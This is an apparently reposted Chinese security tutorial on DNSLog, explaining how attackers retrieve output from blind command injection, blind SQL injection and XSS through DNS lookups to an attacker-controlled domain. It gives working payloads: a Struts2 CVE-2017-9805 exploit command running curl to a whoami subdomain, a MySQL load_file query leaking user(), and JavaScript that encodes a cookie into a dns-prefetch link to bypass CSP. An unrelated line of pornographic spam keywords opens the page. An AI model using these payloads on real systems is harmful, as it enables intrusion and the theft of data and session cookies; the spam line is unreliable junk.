欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

DNSLog使用方法及場景分析

 更新時間:2023年05月23日 10:20:39   作者:why so serious -a  
這篇文章主要介紹了DNSLog使用方法,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下

DNSLOG的原理

DNS的解析是遞歸與迭代相結(jié)合的,下面給出了當(dāng)我們訪問www.cloudcrowd.com.cn時,DNS的解析過程示意圖。

其中,紅色部分是可控的。我們只需要搭建一個紅色部分的DNS服務(wù)器,并將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去請求,就可以通過DNS解析日志來獲取到它們。

DNSLOG工具

如果有自己的服務(wù)器和域名,可以自建一個這樣的平臺,直接使用BugScan團(tuán)隊(duì)開源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog。

另外我們也可以使用在線平臺:

http://admin.dnslog.link。

http://ceye.io。

場景一:命令盲注回顯

針對不回顯的命令注入漏洞,我們很難確定漏洞的存在并進(jìn)一步利用,如17年9月爆發(fā)的Struts2-052反序列化命令執(zhí)行漏洞是看不到任何回顯的,針對這種情況,我們可以利用DNSLOG來獲取命令的執(zhí)行結(jié)果。這里使用已有的EXP來完成漏洞利用,EXP地址為https://github.com/luc10/struts-rce-cve-2017-9805。

利用方式為go run main.go -u URL -c “command”。

Payload:

go run main.go -u http://www.exploit-target.com/struts2-rest-showcase/orders.xhtml -c 'curl "http://`whoami`.your-dnslog.com"'

根據(jù)語法規(guī)定,會先將雙引號中的whoami命令執(zhí)行并替換為結(jié)果,再執(zhí)行整個的curl命令??梢栽赪eb控制臺下看到結(jié)果:

可以看到本來看不到的whoami回顯root已經(jīng)被我們接收到了。為了防止內(nèi)容不適合作為域名的一部分,我們也可以base64編碼后再進(jìn)行請求。

場景二:SQL盲注回顯

不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數(shù)據(jù)庫中的值,在現(xiàn)代WAF的防護(hù)下,很可能導(dǎo)致IP被ban。我們可以結(jié)合DNSLOG完美快速的將數(shù)據(jù)取出。如遇到MySql的盲注時,可以利用內(nèi)置函數(shù)load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\www.test.com這樣的URL發(fā)起請求。

Payload: select load_file(concat(‘\\', user(), ‘.your-dnslog.com'));

可以在Web控制臺下看到結(jié)果:

用戶名已經(jīng)被發(fā)送到了我們的服務(wù)器上。

場景三: XSS繞過CSP

CSP(內(nèi)容安全策略)是防御XSS最有效的手段之一。當(dāng)我們發(fā)現(xiàn)一個網(wǎng)站有XSS漏洞,想利用XSS平臺來打Cookie時,CSP會通過白名單的方式,禁止跨域加載腳本,惡意代碼便會因此被阻擋在門外,導(dǎo)致此XSS無法利用。對此,我們可以使用DNS預(yù)解析突破CSP的阻攔。

DNS預(yù)解析(DNS Prefetching)是一種能夠加快網(wǎng)頁加載速度的技術(shù),對于跨站的鏈接,由于每次都要進(jìn)行一次DNS解析,會消耗掉很多時間。DNS預(yù)解析在瀏覽器空閑時,將跨站資源的域名轉(zhuǎn)化為IP 地址并緩存,真正請求資源時就避免了解析的時間。

有趣的是,DNS預(yù)解析是默認(rèn)開啟的,并且我們可以通過rel="dns-prefetch"來強(qiáng)制進(jìn)行DNS預(yù)解析。由于DNS預(yù)解析可以繞過CSP進(jìn)行解析,結(jié)合DNSLOG,我們即可竊取在CSP保護(hù)下的Cookie。

Payload:document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>"

上面的Payload將Cookie中截取的重要字段進(jìn)行簡單的base64編碼后,作為我們DNSLOG平臺的二級域名,并在body中插入了相應(yīng)的link標(biāo)簽對此域名進(jìn)行強(qiáng)制DNS預(yù)解析。當(dāng)觸發(fā)XSS攻擊時,可以在Web控制臺下看到結(jié)果:

直接對R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3解碼即可得到Cookie。當(dāng)然,這種方法的利用條件極為苛刻。首先,作為XSS攻擊,此Payload過長,而使用短連接加載外部腳本則又會回到被CSP限制的原點(diǎn);其次,根據(jù)DNS的規(guī)定,域名的長度是有限制的,有時可能無法將長Cookie完全帶出。·本文僅分享一個拋磚引玉的思路,進(jìn)一步的利用方式還有待開發(fā)。

結(jié)語

除了上面詳細(xì)列出的例子之外,DNSLOG還可以利用在諸如Blind XXE和Blind SSRF之類的漏洞上,原理其實(shí)和命令盲注是一樣的,在此不做詳述。有興趣的讀者可以自行探索與驗(yàn)證。

到此這篇關(guān)于DNSLog使用方法的文章就介紹到這了,更多相關(guān)DNSLog使用方法內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論